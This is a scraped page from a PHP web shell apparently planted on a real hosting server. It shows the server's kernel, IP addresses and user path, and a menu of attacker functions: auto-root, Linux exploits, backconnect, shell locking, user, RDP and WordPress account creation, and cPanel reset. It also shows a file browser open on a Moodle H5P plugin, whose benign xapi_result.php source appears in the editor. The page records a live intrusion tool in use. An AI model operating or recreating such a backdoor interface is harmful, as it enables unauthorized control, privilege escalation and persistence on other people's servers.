Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.201
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
task
[ DIR ]
drwxr-xr-x
admin_setting_html.php
2.3
KB
-rw-r--r--
content_hub_service.php
2.13
KB
-rw-r--r--
content_type_cache_form.php
1.97
KB
-rw-r--r--
content_user_data.php
7.7
KB
-rw-r--r--
curl.php
1.69
KB
-rw-r--r--
editor_ajax.php
5.88
KB
-rw-r--r--
editor_framework.php
12.53
KB
-rw-r--r--
event.php
2.8
KB
-rw-r--r--
file_storage.php
27.81
KB
-rw-r--r--
framework.php
73.1
KB
-rw-r--r--
mobile_auth.php
3.59
KB
-rw-r--r--
results.php
11.88
KB
-rw-r--r--
upload_libraries_form.php
4.64
KB
-rw-r--r--
user_grades.php
7.42
KB
-rw-r--r--
view_assets.php
12.21
KB
-rw-r--r--
xapi_result.php
4.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xapi_result.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * The mod_hvp content user data. * * @package mod_hvp * @since Moodle 2.7 * @copyright 2017 Joubel AS * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_hvp; defined('MOODLE_INTERNAL') || die(); /** * Class xapi_result handles xapi results and corresponding db operations. * * @package mod_hvp */ class xapi_result { /** * Handle xapi results endpoint */ public static function handle_ajax() { // Validate token. if (!self::validate_token()) { $core = framework::instance(); \H5PCore::ajaxError($core->h5pF->t('Invalid security token.'), 'INVALID_TOKEN'); return; } $cm = get_coursemodule_from_id('hvp', required_param('contextId', PARAM_INT)); if (!$cm) { \H5PCore::ajaxError('No such content'); http_response_code(404); return; } $xapiresult = required_param('xAPIResult', PARAM_RAW); // Validate. $context = \context_module::instance($cm->id); if (!has_capability('mod/hvp:saveresults', $context)) { \H5PCore::ajaxError(get_string('nopermissiontosaveresult', 'hvp')); return; } $xapijson = json_decode($xapiresult); if (!$xapijson) { \H5PCore::ajaxError('Invalid json in xAPI data.'); return; } if (!self::validate_xapi_data($xapijson)) { \H5PCore::ajaxError('Invalid xAPI data.'); return; } // Delete any old results. self::remove_xapi_data($cm->instance); // Store results. self::store_xapi_data($cm->instance, $xapijson); // Successfully inserted xAPI result. \H5PCore::ajaxSuccess(); } /** * Validate xAPI results token * * @return bool True if token was valid */ private static function validate_token() { $token = required_param('token', PARAM_ALPHANUM); return \H5PCore::validToken('xapiresult', $token); } /** * Validate xAPI data * * @param object $xapidata xAPI data * * @return bool True if valid data */ private static function validate_xapi_data($xapidata) { $xapidata = new \H5PReportXAPIData($xapidata); return $xapidata->validateData(); } /** * Store xAPI result(s) * * @param int $contentid Content id * @param object $xapidata xAPI data * @param int $parentid Parent id */ private static function store_xapi_data($contentid, $xapidata, $parentid = null) { global $DB, $USER; $xapidata = new \H5PReportXAPIData($xapidata, $parentid); $insertedid = $DB->insert_record('hvp_xapi_results', (object) array( 'content_id' => $contentid, 'user_id' => $USER->id, 'parent_id' => $xapidata->getParentID(), 'interaction_type' => $xapidata->getInteractionType(), 'description' => $xapidata->getDescription(), 'correct_responses_pattern' => $xapidata->getCorrectResponsesPattern(), 'response' => $xapidata->getResponse(), 'additionals' => $xapidata->getAdditionals(), 'raw_score' => $xapidata->getScoreRaw(), 'max_score' => $xapidata->getScoreMax(), )); // Save sub content statements data. if ($xapidata->isCompound()) { foreach ($xapidata->getChildren($contentid) as $child) { self::store_xapi_data($contentid, $child, $insertedid); } } } /** * Remove xAPI result(s) * * @param int $contentid Content id */ private static function remove_xapi_data($contentid) { global $DB, $USER; $DB->delete_records('hvp_xapi_results', array( 'content_id' => $contentid, 'user_id' => $USER->id )); } }
Close